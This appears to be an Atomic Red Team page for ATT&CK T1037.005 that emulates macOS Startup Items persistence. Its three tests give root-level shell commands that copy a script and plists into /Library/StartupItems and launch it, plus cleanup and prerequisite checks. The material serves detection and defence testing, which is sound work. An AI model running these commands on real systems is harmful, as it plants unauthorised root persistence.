T1037.005
Boot or Logon Initialization Scripts: Startup Items
Description from ATT&CK
Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)
This is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.
Atomic Tests
Atomic Test #1 - Add file to Local Library StartupItems
Modify or create an file in /Library/StartupItems Reference
Supported Platforms: macos
auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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sudo touch /Library/StartupItems/EvilStartup.plist
Cleanup Commands:
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sudo rm /Library/StartupItems/EvilStartup.plist
Atomic Test #2 - Add launch script to launch daemon
Add launch script to /Library/StartupItems to launch agent Example
Supported Platforms: macos
auto_generated_guid: fc369906-90c7-4a15-86fd-d37da624dde6
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| path_malicious_script | Name of script to store in cron folder | string | $PathToAtomicsFolder/T1037.005/src/T1037.005_daemon.sh |
| path_malicious_plist | Name of file to store in /tmp | string | $PathToAtomicsFolder/T1037.005/src/T1037_005_daemon.plist |
| path_startup_params | Name of plist with startup params | string | $PathToAtomicsFolder/T1037.005/src/StartupParameters.plist |
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist
sudo /Library/StartupItems/atomic.sh start
Cleanup Commands:
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sudo launchctl unload /tmp/T1037_005_daemon.plist
sudo rm /tmp/T1037_005_daemon.plist
sudo rm /Library/StartupItems/atomic.sh
sudo rm /Library/StartupItems/StartupParameters.plist
sudo rm /tmp/T1037_005_daemon.txt
Dependencies: Run with bash!
Description: /Library/StartupItems must exist
Check Prereq Commands:
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if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi;
Get Prereq Commands:
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echo "Failed to create /Library/StartupItems"; exit 1;
Description: The shared library must exist on disk at specified location (#{path_malicious_plist})
Check Prereq Commands:
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if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
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echo "The plist file doesn't exist. Check the path and try again."; exit 1;
Description: The startup script must exist on disk at specified location (#{path_malicious_script})
Check Prereq Commands:
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if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
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echo "The startup script doesn't exist. Check the path and try again."; exit 1;
Atomic Test #3 - Add launch script to launch agent
Add launch script to /Library/StartupItems to launch agent Example
Supported Platforms: macos
auto_generated_guid: 10cf5bec-49dd-4ebf-8077-8f47e420096f
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| path_malicious_script | Name of script to store in cron folder | string | $PathToAtomicsFolder/T1037.005/src/T1037.005_agent.sh |
| path_malicious_plist | Name of file to store in /tmp | string | $PathToAtomicsFolder/T1037.005/src/T1037_005_agent.plist |
| path_startup_params | Name of plist with startup params | string | $PathToAtomicsFolder/T1037.005/src/StartupParameters.plist |
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
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sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist
/Library/StartupItems/atomic.sh start
Cleanup Commands:
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sudo launchctl unload /tmp/T1037_005_agent.plist
sudo rm /tmp/T1037_005_agent.plist
sudo rm /Library/StartupItems/atomic.sh
sudo rm /Library/StartupItems/StartupParameters.plist
sudo rm /tmp/T1037_005_agent.txt
Dependencies: Run with bash!
Description: /Library/StartupItems must exist
Check Prereq Commands:
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if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi;
Get Prereq Commands:
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echo "Failed to create /Library/StartupItems"; exit 1;
Description: The shared library must exist on disk at specified location (#{path_malicious_plist})
Check Prereq Commands:
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if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
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echo "The plist file doesn't exist. Check the path and try again."; exit 1;
Description: The startup script must exist on disk at specified location (#{path_malicious_script})
Check Prereq Commands:
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if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
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echo "The startup script doesn't exist. Check the path and try again."; exit 1;